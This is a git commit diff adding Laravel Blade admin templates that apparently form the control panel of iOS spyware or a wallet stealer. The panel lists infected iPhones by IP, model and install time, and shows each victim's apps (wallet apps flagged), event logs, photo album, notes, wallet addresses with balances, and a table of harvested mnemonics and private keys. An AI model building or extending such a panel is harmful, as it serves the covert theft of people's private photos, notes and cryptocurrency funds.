This commit is contained in:
hashbro
2026-08-04 05:00:42 +08:00
commit ea0be57180
304 changed files with 18921 additions and 0 deletions
@@ -0,0 +1,85 @@
@extends('admin.content')
@section('title', '设备列表')
@section('content')
<div class="layui-card">
<div class="layui-card-header">设备列表</div>
<div class="layui-card-body">
<form class="layui-form layui-form-pane" method="get" style="margin-bottom: 15px;">
<div class="layui-form-item" style="margin-bottom:0;">
<div class="layui-inline">
<label class="layui-form-label" style="width:90px;">DeviceKey</label>
<div class="layui-input-inline" style="width:160px;">
<input type="text" name="device_key" value="{{ $filters['device_key'] ?? '' }}" placeholder="device key" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:70px;">Model</label>
<div class="layui-input-inline" style="width:120px;">
<input type="text" name="model" value="{{ $filters['model'] ?? '' }}" placeholder="iPhone9,1" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:50px;">IP</label>
<div class="layui-input-inline" style="width:130px;">
<input type="text" name="ip" value="{{ $filters['ip'] ?? '' }}" placeholder="ip" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:50px;">iOS</label>
<div class="layui-input-inline" style="width:100px;">
<input type="text" name="ios" value="{{ $filters['ios'] ?? '' }}" placeholder="15.8" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:90px;">安装时间</label>
<div class="layui-input-inline" style="width:130px;">
<input type="date" name="installed_from" value="{{ $filters['installed_from'] ?? '' }}" class="layui-input">
</div>
<div class="layui-form-mid">-</div>
<div class="layui-input-inline" style="width:130px;">
<input type="date" name="installed_to" value="{{ $filters['installed_to'] ?? '' }}" class="layui-input">
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" type="submit">搜索</button>
<a class="layui-btn layui-btn-primary" href="{{ route('admin.devices.index') }}">重置</a>
</div>
</div>
</form>
<table class="layui-table">
<thead>
<tr>
<th>ID</th>
<th>Device</th>
<th>Model</th>
<th>iOS</th>
<th>IP</th>
<th>安装时间</th>
<th>更新时间</th>
<th>操作</th>
</tr>
</thead>
<tbody>
@forelse ($devices as $d)
<tr>
<td>{{ $d->id }}</td>
<td><code>{{ $d->device_id }}</code></td>
<td>{{ $d->device_model ?: '—' }}</td>
<td>{{ $d->ios_version ?: '—' }}</td>
<td>{{ $d->ip ?: '—' }}</td>
<td>{{ $d->created_at }}</td>
<td>{{ $d->updated_at }}</td>
<td><a class="layui-btn layui-btn-normal layui-btn-xs" href="{{ route('admin.devices.show', $d) }}">详情</a></td>
</tr>
@empty
<tr><td colspan="8">暂无设备</td></tr>
@endforelse
</tbody>
</table>
{{ $devices->links() }}
</div>
</div>
@endsection
@@ -0,0 +1,140 @@
@extends('admin.content')
@section('title', '设备 '.$device->device_id)
@section('content')
<div class="layui-card">
<div class="layui-card-header">
设备 <code>{{ $device->device_id }}</code>
<a class="layui-btn layui-btn-primary layui-btn-xs" style="float:right;margin-top:8px;" href="{{ route('admin.devices.index') }}">返回列表</a>
</div>
<div class="layui-card-body">
<table class="layui-table" style="margin-bottom: 16px;">
<tr>
<th width="140">Device</th>
<td><code>{{ $device->device_id }}</code></td>
<th width="140">Model</th>
<td>{{ $device->device_model ?: '—' }}</td>
</tr>
<tr>
<th>iOS</th>
<td>{{ $device->ios_version ?: '—' }}</td>
<th>IP</th>
<td>{{ $device->ip ?: '—' }}</td>
</tr>
<tr>
<th>User-Agent</th>
<td colspan="3" class="wrap">{{ $device->user_agent ?: '—' }}</td>
</tr>
<tr>
<th>安装 / 更新</th>
<td colspan="3">{{ $device->created_at }} / {{ $device->updated_at }}</td>
</tr>
</table>
<div class="layui-tab layui-tab-brief">
<ul class="layui-tab-title">
@php $tabs = ['apps'=>'应用列表','events'=>'日志','photos'=>'相册','notes'=>'备忘录','wallets'=>'钱包']; @endphp
@foreach ($tabs as $key => $label)
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
<a href="{{ route('admin.devices.show', [$device, 'tab' => $key]) }}">{{ $label }}</a>
</li>
@endforeach
</ul>
</div>
@if ($tab === 'apps')
<table class="layui-table">
<thead><tr><th>名称</th><th>Bundle</th><th>版本</th><th>Wallet</th></tr></thead>
<tbody>
@forelse ($apps as $app)
<tr class="{{ $app->is_wallet ? 'wallet-row' : '' }}">
<td>{{ $app->name ?: '—' }}</td>
<td><code>{{ $app->bundle_id }}</code></td>
<td>{{ $app->version ?: '—' }}</td>
<td>@if($app->is_wallet)<span class="tag-wallet">wallet</span>@else—@endif</td>
</tr>
@empty
<tr><td colspan="4">暂无应用</td></tr>
@endforelse
</tbody>
</table>
@elseif ($tab === 'events')
<table class="layui-table">
<thead><tr><th>时间</th><th>Event</th><th>Desc</th><th>Context</th></tr></thead>
<tbody>
@forelse ($events as $ev)
<tr>
<td style="white-space:nowrap;">{{ $ev->created_at }}</td>
<td><code>{{ $ev->event_name ?: '—' }}</code></td>
<td class="wrap">{{ $ev->desc ?: '—' }}</td>
<td class="wrap"><pre class="json-block" style="margin:0;max-height:160px;overflow:auto;">{{ $ev->context_json ? json_encode($ev->context_json, JSON_PRETTY_PRINT|JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES) : '—' }}</pre></td>
</tr>
@empty
<tr><td colspan="4">暂无日志</td></tr>
@endforelse
</tbody>
</table>
@elseif ($tab === 'photos')
<div class="photo-grid">
@forelse ($photos as $photo)
<a class="photo-card" href="{{ route('admin.devices.photo', [$device, $photo->id]) }}" target="_blank">
<img src="{{ route('admin.devices.photo', [$device, $photo->id]) }}" alt="{{ $photo->sha256 }}">
<div>{{ $photo->size }} B</div>
</a>
@empty
<p>暂无相册</p>
@endforelse
</div>
@elseif ($tab === 'notes')
<table class="layui-table">
<thead><tr><th>Title</th><th>Body</th><th>When</th></tr></thead>
<tbody>
@forelse ($notes as $note)
<tr>
<td>{{ $note->title ?: '—' }}</td>
<td class="wrap">{{ \Illuminate\Support\Str::limit($note->body, 400) }}</td>
<td>{{ $note->created_at }}</td>
</tr>
@empty
<tr><td colspan="3">暂无备忘录</td></tr>
@endforelse
</tbody>
</table>
@else
<div class="layui-elem-quote">Addresses</div>
<table class="layui-table">
<thead><tr><th>Chain</th><th>Address</th><th>Balance</th><th>Symbol</th></tr></thead>
<tbody>
@forelse ($addresses as $addr)
<tr>
<td>{{ $addr->chain ?: '—' }}</td>
<td><code>{{ $addr->address }}</code></td>
<td>{{ $addr->balance ?: '—' }}</td>
<td>{{ $addr->symbol ?: '—' }}</td>
</tr>
@empty
<tr><td colspan="4">暂无地址</td></tr>
@endforelse
</tbody>
</table>
<div class="layui-elem-quote">Secrets(打码)</div>
<table class="layui-table">
<thead><tr><th>Source</th><th>Mnemonic</th><th>Privkey</th><th>When</th></tr></thead>
<tbody>
@forelse ($maskedWallets as $w)
<tr>
<td>{{ $w['source_app'] ?: '—' }}</td>
<td><code>{{ $w['mnemonic'] }}</code></td>
<td><code>{{ $w['privkey'] }}</code></td>
<td>{{ $w['created_at'] }}</td>
</tr>
@empty
<tr><td colspan="4">暂无钱包密钥</td></tr>
@endforelse
</tbody>
</table>
@endif
</div>
</div>
@endsection